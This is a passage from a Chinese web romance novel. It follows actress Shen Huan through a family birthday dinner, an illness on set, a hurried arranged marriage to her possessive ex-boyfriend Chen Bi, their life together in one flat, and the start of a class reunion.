“林姨好,不破费,一点小礼物而已,祝您十八岁生日快乐。”沈欢甜甜道,一副长辈最喜欢的乖乖女形象。
逗得林淮舒高高兴兴地请她落座沙发,两人一边喝茶,一边聊起最近发生的趣事。
陈璧则上楼找父亲汇报工作,随后坐在沈欢旁边,当一个沉默的倾听者。
到了饭点,霍建山和二房那群人才露面。
沈欢再次见到霍楼和霍景两兄弟,不同的是,霍楼变得老实许多,规规矩矩低头吃菜。
倒是霍家二婶有些不安分,眼珠子滴溜溜地转,突然放下筷子叹气:“唉,欢欢啊,你可别怪婶婶话多,我儿子和你真是有缘无分,你们两个青梅竹马一块长大,也是有感情的,这联姻突然换人,霍楼有些不高兴也正常,你说对吗?”
霍楼暗道不好,身子一僵,不敢抬头看众人脸色,只是在桌下努力扯他妈的衣角,示意不要再说了。
可霍二婶脾气向来火爆,哪能听儿子的话。
她擦擦嘴,继续说:“陈璧,你要是因此公报私仇,可就太不体面了吧?听说你还想将我两个儿子都撵出霍氏集团,是欺负我们二房势弱,不敢和你硬碰硬吗?”
“这话传出去,也对霍家、对你的名声不好听,不是吗
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?你初来乍到,还没站稳脚跟,太过嚣张对你有什么好处?你们好歹是表兄弟,今后是要相互扶持的,做人可不能太过分!”
霍建山掀起眼皮,看向儿子:“怎么回事?”
陈璧气定神闲:“二婶,你还是先回去仔细问问你的好大儿,干了什么好事吧,别在这里血口喷人,打搅我妈的生日聚会。”
“妈……别说了,我们走吧。”霍楼按住母亲的肩,想带她离开。
陈璧刚才的威胁犹在耳畔,他承认他怂了,是真的不敢和陈璧对着干了。
“你别扒拉我!”霍二婶生气起来连儿子一起骂,柳眉倒竖,“你大伯在这儿主持公道呢,你好好说清楚,让你大伯听听,平常装得兄友弟恭的儿子是怎么暗算我们的!”
霍楼嘴唇嗫嚅两下,却连一句话都说不出来,他捂住脑袋,“哎哟哎哟”地叫喊起来。
“怎么了儿子?”霍二婶立刻慌神。
“妈,我头疼……”霍楼可怜兮兮地抬头。
不得不说,他的演技不错,令一旁伪装透明人的沈欢暗中赞叹。
霍二婶急着带儿子去医院检查,不再折腾闹剧,匆匆离开。
霍建山坐在主位上,瞥了他弟弟一眼,向来威严的脸上流露出无奈:“建洲,拖了这么多年,我看,分家一事要抬上日程了。”
霍建洲坐立难安,可他一向不敢忤逆长兄,自家媳妇又大闹了大嫂的生日宴,一时没脸反驳什么。
他只得低头:“都听大哥安排。”
饭桌上只剩四个人,林淮舒站起来,若无其事走到厨房,端出一份蛋糕。
“哼,讨厌鬼们终于走了,正好蛋糕不用分给他们了,来,最大的一块给我们欢欢。”
“谢谢林姨。”沈欢站起身接过,她作为明星一直控制饮食,轻易不吃甜品,今天就当放纵一次,毕竟不能拂了长辈心意。
吃完蛋糕,聚会便结束了。
临走前,林淮舒拿出一个深红色首饰盒,塞到沈欢手中:“今天让你看笑话了,实在对不住,这是阿姨给你的见面礼,打开看看喜不喜欢?”
“阿姨眼光好,只要是您送的,我都喜欢。”
沈欢依言打开,映入眼帘的是一对玻璃种带翠手镯,正是前一次S市拍卖会上价格最高的拍品,没想到花落霍家,又兜兜转转到她手上。
这礼物太贵重,她想要推辞,可林淮舒却道:“我看到这对镯子就觉得适合你,你和陈璧即将订婚,我没有女儿,以后就想把你当亲女儿看待,你可不要推辞伤了我的心。”
话说到这份上,沈欢只好咽下险些出口的话,郑重道谢。
林淮舒目送二人出门,扭头对着霍建山露出兴奋笑容:“老霍,你刚才听见没?”
“听见什么?”霍建山一时摸不着头脑。
“嗨呀,刚刚在饭桌上,儿子叫我妈了!”
林淮舒哼着小曲上楼,准备敷面膜,又从楼梯间探出头,做了个鬼脸:“你这种还没被儿子叫爸的人是不会懂的。”
5. 放手
霍建山对此表示沉默。
陈璧回到霍家以后,一直恭敬有余亲切不足,大多时候喊他父亲,在公司正式汇报工作的时候还会叫霍董。
问题出在哪里了呢?霍建山绞尽脑汁。
思考片刻,他灵机一动得出最终结论——要对沈欢足够好,儿子才会高兴。
天色晚了,陈璧不想打扰司机,决定亲自开车送她回家。
沈欢坐上副驾,刚理好裙摆,驾驶座的人便倾身而下,她下意识向后闪躲,紧紧贴着座椅,一脸警惕地看着他。
“想什么呢?”陈璧面不改色,拉过安全带替她系上,“你以为我要做什么?”
沈欢没想到他突然变得绅士起来,反倒生出几分不习惯,暗自腹诽,疯狗也有转性的一天吗?
她清清嗓子,尴尬撇开视线:“什么都不做最好。”
目前来讲,这个男人在她心里毫无信誉度。
演员并没有所谓的“周末”一说,翌日虽然是周天,沈欢依旧要早起前往剧组,兢兢业业拍戏。
温柒凡是个很有想法的女导演,要求也很严苛,一场戏往往会拍几个不同的版本,认真打磨细节,还要求尽可能现场收声,保留最自然的台词呈现。
沈欢是从她手下熬过一遭的,还能习惯,兰雪衡也经历过大风大浪,再加上演技过关,两人对手戏拍得还算顺利。
就是一些配角和工作人员暗中产生不满,一旦NG次数多了点,就开始在小群里哀嚎。
温柒凡忙得团团转,她需要统筹规划很多东西,很容易忽视这些情绪,沈欢悄悄看在眼里,以导演的名义请剧组众人吃了几次早茶,帮忙安抚。
秋色渐深,天气入凉,一场落水戏反反复复拍了数次。
“咔!沈欢,注意水下的表情,你是通过落水来甩开追兵,不是溺水,不用太过于激烈挣扎,要演出躲藏的偷感。”
“休息一会,等下再试一次。”温柒凡对着对讲机喊。
沈欢一身戏服湿透,哆哆嗦嗦爬上岸,助理赶紧送上浴巾裹住她。
她长舒一口气,感觉身子稍微回暖一些,侧身认真倾听温柒凡描述她想要的画面,在脑海中一遍遍演习。
“导演,我准备好了。”沈欢重新补妆更衣,回到场地。
“人在那呢,快追!”一群追兵策马赶路,烟尘滚滚。
李离悲在马背上颠簸,却发现眼前横亘着一条河流,而她回过头远望,穷凶极恶的追兵即将赶到。
眼看无路可走,李离悲却不想束手就擒,她迅速翻身下马,拔出发簪,果断刺入马臀,下一秒,马儿嘶鸣一声,发狂似的沿着河岸冲向远方高山,洒下一串如花血滴。
待追兵赶到时,只看见疾奔的骏马身后黄沙漫天,以及一滩滩不明血迹。
“走!她受伤了,肯定逃不远!”为首的追兵狞笑判断,举起兵器向着马儿撵去。
其实李离悲已经躲在河流中,屏息凝神,待追兵全部离开,她才从岸边爬上来,奄奄一息地走向相反方向。
她终于暂时安全了。
“咔!”温柒凡得到了想要的镜头,高兴起身,“这一条过了!”
沈欢刚刚为了克服溺水的濒死感,努力保持冷静,耗费太多心力,此刻惨遭秋风袭击,嘴唇惨白,整个人摇摇欲坠。
助理正准备上前,手中忽然一空,诧异地瞪大双眼,却发现浴巾几乎是瞬移到沈欢身上。
沈欢还没看清来人,便感到一阵天旋地转,隐约知晓自己躺进了一个温暖的怀抱。
终于可以休息一下了。
她闻着安心的气息,慢慢闭上眼,手指下意识揪住一撮衣领,带着自己都不曾察觉的信赖。
“开车,去医院。”陈璧抱起她,将车钥匙甩给助理,大步向外走,语气罕见的不冷静。
温柒凡也慌了神,留下副导演坐镇,迅速陪同赶往医院。
一路上,陈璧抱着她不肯松手,他低头,微凉的唇贴上她的额头,传来一阵灼心温度,一时间更是焦急万分。
明明上次见面,他还偷偷在心底夸她把自己照顾得很好,不过几周时间,她就把自己折腾成病恹恹的模样,险些晕倒在地。
演戏有这么好玩吗?值得她不顾身体,在深秋时节一遍遍跳下冰凉河水。
直到医院急诊科,陈璧才松开手,让医生进行专业检查。
检查间隙,他忍不住抬眸,瞪了温柒凡一眼。
温柒凡坐在一旁,怂兮兮地哭丧脸:“表哥,我错了。”
“我的投资资金没到位吗?”陈璧面色冷寒,“听说你们每天连轴转,连休息时间都不能保证?非要把沈欢压榨到生病才能拍出好剧吗?”
温柒凡一向有些怕这个冷冰冰的便宜表哥,却在此刻感受到一点活人气息。
她尴尬咳嗽:“资金够的,我这不是给资本家省钱省习惯了吗,一时没改过来……”
“下不为例,给沈欢一周假期。”陈璧一锤定音。
温柒凡猛点头:“应该的,应该的。”
听到医生喊沈欢家属,陈璧不再理会她,一个箭步冲过去。
再次醒来时,沈欢感觉脑子昏沉,刚想抬手揉揉太阳穴,就感到一下刺痛,忍不住轻吸口气。
陈璧迅速按住她的手,皱眉:“别动,正在输液。”
沈欢依言放下,规规矩矩躺在病床上:“我这是怎么了?”
“发烧了还要拍落水戏,你现在真是有能耐,”沈欢不问还好,一问,陈璧心头就泛起无名火,“你学会游泳了吗就敢往水里跳,那河水那么深。”
他的脑海中不断闪现沈欢面色苍白如纸,软趴趴倒在他怀里的画面,感觉一阵后怕,语气控制不住地凶。
惹得沈欢瑟缩一下,默默用被子挡住自己瘦削下巴,还不忘辩解:“我学了,会憋气会狗刨,演戏够用了,旁边还有救生员呢,我一点也不怕。”
“谁教你的?”陈璧脱口而出,带了些气急败坏,“我当年——”
话音刚落,他率先沉默了。
当年高中游泳课,沈欢这个
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旱鸭子不敢下水,任由教练怎么劝,都只敢坐在岸边拿脚划水玩。
只有陈璧看出她眼底的渴望,于是耐心当起她的游泳教练,从最基本的游泳姿势教起。
陈璧问她学会没有,她点点头,自信满满表示学会了。
可刚一下水,她就害怕了,开始没章法地乱舞手臂,险些拽掉他的泳裤,两人一个护裤子,一个怕水淹,都慌里慌张地喝了几口泳池水,连晚饭都不用吃了。
呛得沈欢慌不择路爬上岸,任陈璧怎么哄都不肯再学。
“……你教不会,不代表别人教不会。”沈欢沉默片刻,静静阐述这个事实。
任是陈璧不想承认,也没有办法否认,分开这几年,他们根本不了解对方。
就像他不知道她做了什么手术,严不严重,也不知道她什么时候学会了游泳,更不知道她为何对娱乐圈产生兴趣,非科班演员是怎么一点点打磨演技的。
横亘在他们两人之间的时间裂缝,突然变得具象化,变得触手可及。
“陈璧。”沈欢突然叫他。
他抬头,目光透出少见的迷茫。
单人病房安静得落针可闻,沈欢扭头看向窗外,夕阳在高楼爬下,树叶在风中扑朔迷离,就像他们之间纠缠不清的关系。
“我们都不要陷在旧时光里,好吗?”她听见自己轻声道。
秋风会带走枝头落叶,也会抚平一切伤痛,回头看才会发现,没有什么是过不去的坎。
“你离开我的那些年,也能过得很好,不对吗?”
哪怕他们再无联系,沈欢也能从财经新闻里得知,陈璧大学时创办的科技公司申报了数项独家专利,市值不断上涨,上市以后成为炒股人士的投资热门。
哪怕没有霍氏集团继承人的身份,他仍然是S市炙手可热的商业新贵。
陈璧张了张嘴。
他想说,不对,沈欢,你说的不对,我根本无法离开你,我也不想过没有你的生活,那几年再来一次我会彻底疯掉,那是无边的孤寂,是睁眼到天明。
他不想当深海里的鲸鱼,四处游弋不知方向,也不想为了麻痹自己疯狂加班,累到睡在公司休息室,仍会在半夜惊醒,发现身边空空荡荡,自己仍是孤独一人。
可他却感觉自己的嗓子好似被人掐住,发不出一丝声音。
空气逐渐凝固,陈璧痛苦阖眸,在黑暗中听到自己的心脏鼓点,一下一下,仿佛敲打在他的灵魂上,全身上下的每一个细胞都在大喊——
“我不会放手。”
他睁开眼,眸中黑墨浓郁,像在最深沉的夜色里航行,满载触目惊心的偏执。
“沈欢,你休想让我如你所愿,这一次,无论如何,我都不可能放你离开。”
“我宁愿你一直恨我。”
请恨我吧,恨我占据你的生活,霸住你身边最重要的位置,烙下长久存在感,让你永远不能开启一段新的恋爱。
人人都说恨比爱更长久,陈璧不可能接受,他们彻底沦为永不相逢的陌生人。
6. 同居
男人的目光过于灼热,沈欢不语,只是翻了个身,拿后背对着他,摆出一副拒绝交流的倔强姿态。
陈璧视线扫过她微微突出的后颈骨,停留片刻:“你好好休息,点滴打完我就走。”
他声音放软了些,替她掖好被子:“别跟我置气,你还在病着,有什么话等你病好了再说,想打我骂我都可以,我都受着。”
沈欢心里盘算,待会儿一定要背地里骂他一句狗东西,想着想着却抵挡不住侵袭而来的困意,慢慢进入梦乡。
不知为何,有陈璧在,她连梦境都会安稳几分。
一觉睡醒,天色已晚,沈欢身上松快了些,头也不疼了。
吊瓶已经撤走,陈璧遵守诺言离开病房,只有经纪人守在身侧。
李姐忧心忡忡:“你被陈总送进医院的时候又被偷拍了,那群狗仔真是一群苍蝇,阴魂不散。”
沈欢从床头柜上摸过手机,开始浏览热搜广场。
目前为止,她的粉丝分为两派,一派在仔细研究照片里的野男人是谁,一派忙于讨伐无良剧组压榨演员。
【欢乐颂:有没有大神做个对比图?是不是上次那个给欢欢披西装的男人?】
【欢欢后援会会长:连脸都不敢露,你算什么男人?我允许你抱我家蒸煮了吗?野男人手往哪里放呢,快滚!】
【拒绝996:娱乐圈也不能过分压榨演员,请996、007滚出全世界!】
《不成悲》剧组官博紧急出面公关,承诺会关心演员及工作人员的身心健康,不会让类似的事情再次发生。
沈欢见状,及时配合转发官博安抚粉丝,舆论这才慢慢平息。
“给剧组添麻烦了。”她默默叹气。
“没事,接下来有一周的假期,你可以等完全康复再回剧组。”李姐告诉她这个好消息。
沈欢诧异:“温导能同意?”
“陈总去交涉的,”李姐不敢揽功,老实交代原委,“你们相处得怎么样?我看他离开的时候脸色不好。”
沈欢此时不想提他,含糊闭眼:“就那样,一般般。”
“行吧,反正有什么进展都要提前告诉我一下,好让公关部提前准备。”李姐叮嘱。
第二天,沈欢完全退烧,决定办出院回家休养。
她全副武装,遮得严严实实,刚出医院大门就被陈璧拽上了车。
“你来干什么?”沈欢摘下口罩瞪他,男人西装革履,仿佛刚结束一场重要会议。
她早上起得早,此时素面朝天,少了几分生人勿近,映在陈璧眼中,与高中时青涩模样隐隐重合,令他呆愣片刻。
“我送你回家。”
“不需要,助理来接我了。”沈欢想要下车,使劲推了推,却发现门已经反锁了。
于是她只得妥协,忿忿坐好,暗自决定一路都不和他说话。
可是,她看向窗外,沿途风景并不是她所熟悉的,隐隐感到一丝不对劲。
“你到底要带我去哪里?”沈欢拽住他的领带,低声威胁。
陈璧却不直接回答,拐弯抹角:“身份证带了吗?”
“……带了。”不妙感觉萦绕在她心头。
“这是婚前协议,你看一看,没什么问题我们等下就去领证了。”陈璧将一份合同递给她,抽回领带仔细理正。
虽然知道联姻迫在眉睫,但没想到会这么快,她生出逃避心理,扭头:“我要回家问问我爸妈。”
“我昨天已经通知到位,霍沈两家都表示同意。”陈璧淡淡堵死她的退路。
“我要回家换衣服,我妆还没化!”沈欢绞尽脑汁寻找新的理由。
陈璧轻声哄她:“没事,你不化妆也很好看,你先打开合同看一眼,有什么要求都可以提。”
“我不认识字。”见势不对,沈欢选择耍无赖,将合同甩回他怀里。
“那我讲给你听。”
夜长梦多,为了防止沈欢暗中计划离开他,陈璧打定主意,今天不论怎样都要把证拿到手。
于是,沈欢气鼓鼓地听他念完婚前协议,提出质疑:“同居?我不可能和你同居的。”
“住在一套房子里,但分房睡。”
“我是明星,不方便结婚,影响我事业。”
“可以在娱乐圈内隐婚,我配合澄清。”陈璧见招拆招,将她挑的刺全都堵回去。
其他涉及经济财产的条款都有利于她,沈欢实在没有办法反驳,也明白联姻是推辞不了的事情,早晚都要发生,索性眼一闭心一横:“好了别说了,我签还不行吗?”
刚签完协议,民政局就到了,沈欢戴好口罩下车,步入大厅,工作人员围上来热情指引他们走流程。
到了拍结婚照的环节,两人坐在一起,对着镜头露出笑脸。
“靠近一点,笑容灿烂些。”
“三二一,茄子!”
沈欢感觉自己的脸都笑僵了,工作人员才挥手示意拍好了。
拿到红底照片,沈欢轻轻触摸,啧了一声。
“怎么了?”陈璧转头问。
沈欢随意敷衍一句,不好意思说出真实想法,她觉得自己被拍得像个傻子,忍不住在心底暗自唾弃。
傻乐什么,鬼才想和狗东西领证!
领完证出来,沈欢捏着红彤彤的本子,还有些回不过神来。
她就这样,在二十五岁这年成为了已婚人士?
“走吧,我订了餐厅,”陈璧嘴角挂着显眼笑容,脚步轻快,“庆祝我们正式结婚。”
“婚礼后面再找时间办,如果你想要度蜜月的话,我随时请假奉陪。”
“都不需要。”沈欢把证揣进口袋,顺便暖手,冷酷拒绝他的邀约。
两人最终还是到了外滩那家私人西餐厅,为了隐私起见,陈璧选择提前包场。
他们在靠近落地窗的包厢坐下,楼层很高,可以将S市的繁华风景尽收眼底。
沈欢吃着细腻的鹅肝,一盘切好的牛排推到她面前。
她掀起眼帘瞥他:“西餐礼仪学得挺快。”
“多谢夸奖,”陈璧颔首,从容不迫,“为了创业成功学的,比埋头搞研究轻松一些。”
沈欢知道,他一路走来
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,应酬不可避免,当年在一起的时候,他也曾醉醺醺地回到租住的公寓,像只大型犬扑过来,窝在她的肩窝里撒娇讨吻。
她总会嫌弃地推他去刷牙洗脸,却又放不下心,爬起来去卫生间找他,最后被醉酒的男人缠上,任她说破嘴皮都不肯松手。
两人只好搂在一起,小碎步从卫生间挪出来,沈欢笑眯眯跌回床上,恍如躺在柔软的云朵里。
往昔美好得像一场梦。
小提琴乐声悠扬,将沈欢的思绪拉回现实。
她定神赞叹:“音乐品味也提高了?”
“这倒没有,餐厅安排的,”陈璧放下刀叉,诚实看她,“你要是喜欢的话,我们下午可以去听音乐会。”
沈欢尴尬一瞬,戳起切好的牛排:“那倒不用了。”
一曲毕,屏风后身影晃动,一道略显耳熟的女声传来:“沈欢?”
沈欢疑惑抬头,看向来人,努力在脑中匹配名字:“谷露?”
“是我,没想到你还记得我,大明星能给个签名吗?”谷露拿着小提琴,眼中闪着兴奋。
沈欢微笑:“当然可以啊,班长大人。”
签名间隙,谷露视线在两人之间来回流转,悄悄八卦:“你和陈璧还在一起啊?几年爱情长跑真不容易,现在结婚了吗?”
沈欢不知道该怎么解释他们之间的复杂关系,愣怔片刻,笔尖落下一个墨点,她索性将墨点改成饱满的爱心,再画一个笑脸。
陈璧接过话茬:“今天刚领完证,可以帮忙保密吗?”
谷露收起签名,忙不迭点头:“没问题!我们也是老同学了,肯定不会在网上乱说。”
沈欢轻轻瞪了他一眼,总感觉这个男人在暗戳戳炫耀,说好的隐婚呢?
“这周末高中同学聚会,你们要来吗?”谷露发出邀请,“许久不见,同学们都很关心你们。”
沈欢心底腹诽:其实是想八卦吃瓜吧?
但她还是点头答应了,她也有些好奇,八班那群非富即贵的活宝们现在过得怎么样。
用餐完毕,陈璧直接带着沈欢回到他家,市中心大平层,干净整洁得仿佛样板间,没有一丝烟火气。
沈欢四处巡视一圈,对冷淡风非常不满,吐出两字评价:“无趣。”
“家里随你折腾。”陈璧如是哄道。
“懒得折腾,早晚要离婚的,费这功夫干什么?”沈欢脱口而出。
话音刚落,她感觉室内气温突然下降,疑惑扭头,对上一双暗眸。
男人不语,只是一味盯着她。
“……我什么也没说。”沈欢举起手,讪笑表示投降,毕竟人在屋檐下,不能惹疯狗。
陈璧暂时放过她,将行李推进主卧:“你住这里,我就在隔壁客卧,书房可以共用,旁边还有健身房、家庭影院。”
“不想看电影可以当电玩房打Switch,卡带买好了。”
沈欢顿时蠢蠢欲动,一归整好行李就迫不及待钻进电玩房,挑了一盘星露谷玩起来。
谁能逃得过在星露谷里当农民的快乐呢?反正沈欢不能。
7. 挨骂
陈璧给她送上一杯蜂蜜水,没再打扰,去书房接通视频会议。
他忙完工作,又去厨房准备晚饭,一切妥当后才敲敲电玩房门:“别钓鱼了,出来吃饭。”
沈欢穿着白色毛茸睡衣,盘腿坐在厚实地毯上,闻言恋恋不舍放下游戏手柄。
她忍不住炫耀:“你怎么知道我钓到了一条大鱼?”
“我不知道,我只知道晚饭正好有清蒸鲈鱼。”陈璧轻笑,在沈欢经过他面前时,突然起了坏心思,抬手揪住她睡衣帽子上垂顺的耳朵。
沈欢脚步微顿,觑他一眼,无情撤回一对兔子耳朵,头也不回飞速逃离现场。
陈璧垂眸捻动手指,柔软触感还残留在上面。
不知道到了冬天,能把这只凶巴巴兔子抱在怀里吗?
吃完饭,她窝在客厅沙发里,翘腿懒洋洋看纪录频道。
恰巧正在播放《动物世界》,小狮子们在非洲大草原上打滚玩闹,练习捕猎,沈欢一边嗑瓜子,一边看得津津有味。
沙发一角轻轻陷动,她不用抬眼就知道某个狗皮膏药又贴过来了,于是拿脚踢他,嫌弃:“去去去,一边去,这儿没你的位置。”
陈璧任她踢打,选择倔强坐下,一掌捏住她裸露的脚踝,轻轻摩挲两下,沈欢便如同被捏住命门,过电感一瞬间传遍全身。
她慌张想要缩回脚,却以失败告终,只好警惕瞪他。
没想到,陈璧没再进一步动作,他像个神奇的魔术师,不知从哪儿变出一双厚实居家袜,替她仔细套上。
“客厅没铺地毯,小心着凉,不记得了吗?你的病才刚好。”
她蜷起脚趾,珊瑚绒袜子触感温暖,确实比光脚舒服,索性不再挣扎,任由他摆弄。
视线落在陈璧身上,沈欢才发现,他不知何时换了一身睡衣,毛茸茸的灰褐色,像《动物世界》里的非洲野狼。
……更像她身上这件的情侣装。
沈欢被自己的联想雷得外焦里嫩,尴尬地打个哆嗦,直到一股温热传来,她才恍然回神,发现不知何时,自己的脚就蹬在陈璧硬实的大腿上。
沈欢借着俯身从茶几上拿瓜子的动作,默默坐直身子,将脚收回来,规规矩矩穿上拖鞋。
陈璧没想到他的小心机被轻易识破,无法暗中享受贴贴,忍不住轻啧一声,却不敢表露一丝不满,只拿委屈眼神觑她,试图令她感到愧疚。
客厅一阵静谧,沈欢眼观鼻鼻观心,装作什么也没看见,此刻她不敢轻举妄动,生怕狗男人给点阳光就灿烂。
倏然,电视里传来一句经典解说词:“春天来了,万物复苏,又到了狮子□□的季节。”
紧接着,镜头一转,从嬉戏打闹的小狮子切到了卖力求偶的公狮身上,画面逐渐变得不可描述,沈欢手指颤了颤,捏着的瓜子就从指缝中滑落,三三两两掉在地上。
怎么看个纪录片都能撞上“狮片”,她暗道运气真差,一时不敢睁开眼,希望是她的幻觉,强装淡定拿起遥控器换台。
“沈欢,你怎么这么慌张?”陈璧盯着她红透的耳垂,眸光渐深,若眼神拥有实质,早化为暗夜的蛇一寸寸舔舐过去,在她耳后脖颈留下黏腻痕迹。
“都是成年人了,连这点东西都看不了吗?当年的你可不是这样的。”
回应他的是一个横空飞来的抱枕,以及一句炸毛的“滚”。
陈璧接过抱枕,挨了骂却感觉心头分外畅快,目光一时更为露骨,不知为何,他总觉得不被沈欢追着骂的一天是不完整的。
由于陈璧脸皮厚度堪比城墙,不仅没滚,甚至还提出再多骂几句的有病要求,沈欢只好自个儿汲拉着拖鞋,落荒而逃。
看着她兜帽后一跳一跳的耳朵,陈璧哑然失笑,心知明天又该哄人了。
他拿起遥控器,熟练换台到电影频道,沈欢和温柒凡合作拍摄的文艺电影正在重映,他想花时间多了解她,通过各种途径填补那几年的空白。
沈欢离开的时候,还报复性地关掉了客厅吊灯。
黑黢黢环境里,陈璧坐在沙发上,静静欣赏她一年前天然去雕饰的演技,他的脸上倒映着光线,随画面不断变幻,宛若一尊雕像。
卧室里,沈欢感觉脸颊发热,翻来覆去睡不着,索性一骨碌爬起来靠坐在床头,在某红书上用小号发帖。
【标题:相亲相到前男友,他为什么非要和我结婚?】
【情况是这样的,我们高中认识,大学时因为某些原因甩了他,断崖式分手闹得很难堪,但是几年后重逢,他非要和我协议结婚,还天天说一些似是而非的话缠着我,究竟是为什么?】
帖子发出去,沈欢咬唇,认真盯着后台动态,期望得到网友解答。
【聪明momo:快跑!他要报复你,想把你拖入婚姻的坟墓。】
【不吃香菜(考研版):他肯定生活过得不如意,在社会上转悠一圈发现骗不到老婆,想骗你回家给他洗衣做饭生孩子!】
【花开富贵:协议结婚?有点意思。说吧,哪个网站的小说?叫什么名字?听起来挺甜的,我要去拜读一下。】
【蛋堡八爪鱼:姐妹,起号教程在哪里学的?我也想引流,教教我呗。】
沈欢一条条看过去,努力对号入座却发现一无所获,话题还越来越歪,甚至有人私信她问起可不可以搬运到其他平台。
眼看评论区越来越乱,她不由得扶额叹气。
连她这个当事人都弄不懂的事情,隔着屏幕的网友自然更不明白,她真是病急乱投医,求助错人了。
沈欢放下手机,老实闭眼入睡。
与此同时,陈璧的手机响起铃声,打断了他欣赏文艺电影的思绪。
他不满皱眉,拿起手机:“王程山,这么晚了,你最好有要紧事。”
王程山嘿嘿一笑,神秘道:“当然有要紧事,关于嫂子的,想不想听?”
“有话快说。”陈璧担心吵到沈欢,捏紧手机,转身走到阳台
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,隔着不远距离,凝视隔壁住着的好兄弟。
“那个……我的私人医院缺一批设备,霍氏集团要不要考虑赞助一下?”王程山毫不畏惧,趁机薅资本家羊毛。
“前提是你说的事确实要紧。”陈璧言简意赅强调。
“你快看我发你的东西,包你满意!”王程山低头摆弄手机。
下一刻,陈璧收到他转发的链接,飞速浏览一遍,便拍板决定:“你把清单交给助理,走我的个人账户。”
王程山得到承诺,满意挂断电话,在心底暗暗感谢嫂子,和热衷于网上冲浪的自己。
翌日清晨,沈欢坐在桌边吃陈璧做的煎蛋,疑惑他为什么一直用复杂又奇怪的眼神看她。
她喝完最后一口牛奶:“看我干嘛?我脸上有脏东西?”
“……没有,”陈璧收回目光,“等会儿去公司就看不到你了,趁现在多看看不行吗?”
“别说肉麻话恶心我,待会儿吃不下三明治了。”沈欢想起昨晚帖子里的网友提出的“报复理论”,突然有些认同,于是小声嘀咕。
陈璧没听清:“你说什么?”
“我说,快去上班吧,不然让霍叔叔扣你工资。”沈欢眼珠一转,换了句话大声说。
“下次见面你该改口叫爸妈了。”他穿上黑色西装外套,搭配一条蓝白条纹领带,站在玄关好心提醒。
“那等下次见面再说咯,更何况,改口费还没给呢。”她耸耸肩,故意使性子刁难他。
陈璧没有说话,沈欢也没有在意,结果男人前脚刚出门,她后脚就收到一条短信,提醒她银行卡到账一百万。
她在心底默默翻白眼,陈璧回到豪门以后也学会用钱砸人了,不知道跟哪个富二代学的招数,果然,男人有了钱就忘本。
去公司的路上,陈璧没有像平常一样当工作狂批阅文件,而是认真翻看某红书上沈欢小号曾经发的帖子,试图在多年以后,触及她某一瞬间的喜怒哀乐,却忍不住打了个喷嚏。
他疑惑看向车窗外,暖阳高悬于秋日晴空,天气正好,并没有突然降温。
陈璧收回目光,心头笃定,肯定是某人正在背地里骂他。
接下来两天,由于陈璧又忙起工作,开始早出晚归,沈欢享受起相安无事的美好假期,早上起床陪他吃一顿早饭,等他上班离开以后睡个回笼觉,再通过健身控制体形,中午有钟点工上门做饭,享受午餐后就可以快乐开启星露谷农民生活,晚上温习剧本。
如果陈璧回来得早,会被戏精附身的沈欢拉来演对手戏。
他当然乐意陪同,可惜总是因为演技过于呆板被嫌弃,气得沈欢大喊:“朽木不可雕也,我宁愿对着抱枕表演都不能对着木头表演!”
木头陈璧只好乖乖挨骂,露出无奈笑容。
时光荏苒,很快到了周末,沈欢接到谷露的电话:“沈欢,别忘了带着陈璧一起来参加同学聚会,时间地点发你了,够隐私,肯定不会被狗仔偷拍。”
8. 挑事
“没问题。”沈欢当然记得那天的邀约,爽快答应。
陈璧当天下午有个紧急会议,所以沈欢直接从家里出发,比他先到达会所。
门童接过车钥匙去停车,她在服务员的指引下走进包厢,脱下浅灰色大衣挂在衣架上,笑着与老同学们打招呼:“好久不见,我是沈欢。”
“不用介绍我们也能认出你,”一个男人爽朗道,“我老婆可喜欢你了,我说你是我高中同学,她还不信,说我吹牛不打草稿,等会儿你可得给我留个签名当证据,回去让她见识见识。”
沈欢认出他,调侃:“董真,你居然结婚了?不是说要和物理学过一辈子,谁也不能拆散你们吗?”
“嗨,那都是年轻的时候乱说的,在德国读完物理学研究生以后,我就彻底老实了,拿到文凭就逃回国,现在在研究院里混日子。”董真疯狂摆手,露出一脸痛苦。
同桌人一听,都露出怜悯表情,又是德国又是物理学,这真是毕业地狱模式,令苦命学子闻风丧胆。
一番玩笑以后,气氛变得活跃起来,沈欢左边坐着崔蕊,右边给陈璧留了个位置。
他在微信上告诉她,路上晚高峰堵车,可能会迟点到,沈欢没有在意,放下手机和崔蕊聊天:“这两天剧组进度怎么样?”
“还可以,先拍了一些空镜和配角的戏份,等你回归再集中拍和男主的对手戏,”崔蕊夹了一筷子凉菜,“托你的福,陈璧又追加了一笔投资,现在剧组不仅不用赶工,盒饭也变好吃了。”
“那还挺好,我后天就收假回剧组,一定要好好品尝一下新盒饭什么水平,之前油水真的很大,腻死个人,对我减肥很不友好。”沈欢吐槽。
正说话间,沈欢感到一片阴影笼罩,还以为是陈璧到了,抬头想要打招呼,没想到映入眼帘的是何媛媛那张精心修饰的脸。
“你怎么来了?”沈欢蹙眉,不甚友好地看她。
何媛媛施施然坐下,将香奈儿小包摆在桌面显眼位置,手托下巴,假装思考:“我为什么不能来?我也是你们的高中同学,班长邀请了我,我同意了,就这么简单。”
她露出恶劣的笑:“沈欢,同学聚会又不是你举办的,你有什么资格不允许我来?”
沈欢没回答,只是挪动椅子,默默和她拉开距离,摆出明晃晃嫌弃姿态。
给陈璧留的位置被人占了,怎么令她如此不爽。
正在此时,谷露抬头看向沈欢:“陈璧怎么还没有来?”
沈欢放下筷子准备回答,何媛媛却抢先一步,用自然又熟稔的语气道:“陈璧的车在路上出现故障,今晚怕是来不了了。”
沈欢瞥她一眼,面上不辨喜怒,心底暗自疑惑,她是怎么知道陈璧动向的?
谷露这时才后知后觉,这两个死对头又坐在一起了,可她明明给何媛媛安排的是离沈欢最远的座位啊。
两人之间暗流涌动的诡异气氛也吸引了一部分老同学注意力。
有人调侃:“对啊,陈璧怎么还没来?待会儿沈欢可要等急了。”
在座的人都知道沈欢高中毕业以后和陈璧在一起的事情,可惜后来大家不在一个大学,也不知道后续发展,此刻纷纷逮住机会,露出八卦表情,炯炯有神看向她。
“沈欢,你和陈璧还在一起吗?给我们讲讲呗。”一个圆脸女生托腮,率先发问。
“我们保证不会外传的,出了这扇门,我们什么也不知道!”有了出头鸟,大家开始附和。
沈欢感觉这群人的视线比时尚晚宴的聚光灯还灼热,耳根微微发热,尴尬咳嗽,一时不知道从何说起。
崔蕊正想替她解围,何媛媛却冷哼一声,大声道:“你们都不知道吗?沈欢和陈璧早分手了,还是沈欢自己甩了他。”
